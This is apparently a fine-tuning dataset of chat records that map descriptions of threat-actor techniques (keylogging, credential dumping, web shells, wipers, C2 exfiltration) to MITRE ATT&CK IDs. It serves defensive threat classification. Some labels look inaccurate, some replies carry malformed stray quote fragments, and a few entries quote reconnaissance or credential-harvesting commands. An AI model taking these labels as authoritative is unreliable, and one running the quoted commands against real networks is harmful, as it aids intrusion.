                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has stored collected information in the Application Data directory on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has sometimes used drive-by attacks against vulnerable browser plugins."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a keylogger plugin to gather keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once you have set up the database and logged into the BloodHound web application, you need to pull AD data from your environment using the BloodHound PowerShell ingestor. Figure 1 shows a sample command that searches all domains in the forest (-SearchForest) and the folder location used to save the resulting CSV files"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has searched \"bash_history\" for credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Configuration Decryption:  Another small, but same important function in the photo above, is the function for decrypting the data containing the C&C configuration"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the domain name from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell for execution and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use RSA asymmetric encryption with PKCS1 padding to encrypt data sent to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While Kimsuky is very active, the KONNI RAT has also been upgraded to a more evasive piece of malware"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can upload logs and other data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After collecting the data in a central directory, the attackers then used either a renamed rar.exe or 7z.exe to archive the files. NICKEL also frequently used keyboard walks as a password for their archived data collections. The following are examples of RAR archiving for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can inject a variety of payloads into processes dynamically chosen by the adversary."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform pass the hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA)."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. Sakula also has the capability to invoke a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot contains keylogging functionality to steal passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orangeworm has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to loading the communications module, the initial macro described above configures a persistence mechanism for this malware loader by setting up a Registry Run key. The non-concatenated command included in the macro that establishes persistence for Libcurl.dll and the hash for this sample are included below"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has exfiltrated data to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample was first uploaded to VT on the 2018-10-12 from the Ukraine. It exhibits an encoding and a code style that are similar to those used by former series of Hades droppers. Nevertheless, it introduces new features like anti-analysis and delayed execution, which were only used by the second stage payload in the past."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar backdoor is a new stealthy malware, part of the TrickBot group’s toolkit arsenal and leveraged for high-value targets. The Bazar loader is used to download and execute the Bazar backdoor on the target system. The goal of this backdoor is to execute binaries, scripts, modules, kill processes, and then remove itself from the compromised machine. The samples used in this campaign heavily rely on control flow obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a Web shell. The ASPXTool version used by  has been deployed to accessible servers running Internet Information Services (IIS)."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication)."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use side-loading to run malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka encodes C2 traffic with Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYSCON has the ability to use FTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to maintain persistence by creating scheduled tasks set to run every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All of the bait documents are MHTML ones with malicious macro embedded and the .doc suffix to bypass detection. Below is an example of bait document captured by 360 Threat Intelligence Center in February 2019"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can obtain the date and time of the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY tracks `TrustedHosts` and can move laterally to these targets via WinRM."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the attack progresses, the user will be taken to the download of an MS Word document containing malicious macros that has very low detection rate at the moment of this campaign delivery. From a metadata standpoint, the document does not include any specific signal or characteristic that would help us tracking documents from the same author, as shown in Figure 6"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wiper is relatively small in size and dynamically resolves most of the APIs it uses. Before starting any file destruction, it checks to ensure that the machine is not a domain controller. If the machine is a domain controller, it stops execution. Pseudo-code: CaddyWiper checking for the Domain Controller role of the machine. If the system is not a domain controller, the wiper will destroy files on \"C:\\Users,\" followed by wiping of all files in the next drive letter until it reaches the \"Z\" drive. This means that the wiper will also attempt to wipe any network mapped drive attached to the system"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of the “log.dat” payloads determined them to be variants of the publicly available POSHC2 proxy-aware stager written to download and execute PowerShell payloads from a hardcoded command and control (C2) address. These particular POSHC2 samples run on the .NET framework and dynamically load payloads from Base64 encoded strings"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To move laterally on a victim network, FIN6 has used credentials stolen from various systems on which it gathered usernames and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has exploited CVE-2012-0158 and CVE-2010-3333 for execution against targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy can log keystrokes on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has used PowerShell to delete volume shadow copies and download files."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has searched for the Activity Monitor process in the System Events process list and kills the process if running. macOS.OSAMiner also searches the operating system's `install.log` for apps matching its hardcoded list, killing all matching process names."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to gather metadata from a file and to search for file and directory names."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has enumerated DC servers using the command \"net group \"Domain Controllers\" /domain\". The group has also used the \"ping\" command."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the amount of overlap between the other components in these separate campaigns, we decided to compare the Pirpi payloads delivered by the UPS group using CVE-2014-1776 and CVE-2015-3113. From here on, we will refer to these two payloads as Pirpi.2014 (CVE-2014-1776) and Pirpi.2015 (CVE-2015-3113), whose details are listed in Table 1. Unit 42 discovered several similarities between the two Pirpi variants, as well as a few equally important differences, both of which are worth discussing. We also compared the Pirpi.2014 and Pirpi.2015 payloads to other known Pirpi samples in an attempt to determine which variant they most closely resemble."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A batch file that is used to run Bitsadmin and Rundll to download and execute the Egregor payload. A Zip file contains a binary file that is an RClone client, renamed svchost, and RClone config files (webdav, ftp and dropbox) used later for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group executed Responder using the command \"[Responder file path] -i [IP address] -rPv\" on a compromised host to harvest credentials and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining the unique ID from the C2 server, the Trojan calls the “SetAbStatById” method to notify the C2 server of its status of “1” to notify the server it had successfully received the filename and file data"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kivars has the ability to initiate keylogging on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains a module for compressing data using ZIP."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload files to the victim's machine for operations."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This component overwrites the master boot record (MBR) of an infected host with a malicious 16-bit bootloader with a SHA256 hash of"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant can retrieve a list of applications from the \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\" registry key."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen Pencil gathers credentials using Mimikatz and Procdump."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture screenshots at a configurable interval."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT gathers the victim's IP address and domain information, and then sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can register itself for execution and persistence via the Control Panel."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - Signed Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decodes an embedded configuration using XOR."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used RDP on Active Directory using leaked accounts. The actor dropped scanning tools, Nmap.exe and Nping.exe, for scanning the network. Next, the scheduled task was pushed by the group policy domain machine."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain or Tenant Policy Modification', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lately, the configuration mechanism has been changed and is now stored in the Windows Registry at HKCU\\Software\\ under keys with names like %USERNAME% and ToolTech-RM. Those names, as well as the names of values they contain, change frequently, but the information contained consists of"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke has used image files to hide its loader component."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can identify drives on compromised hosts and retrieve the hostname via `gethostbyname`."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has used a variety of Windows API calls, including `GetComputerNameA`, `GetUserNameA`, and `CreateProcessA`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has registered domains, intended to look like legitimate target domains, that have been used in watering hole attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has hidden malicious executables within PNG files."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
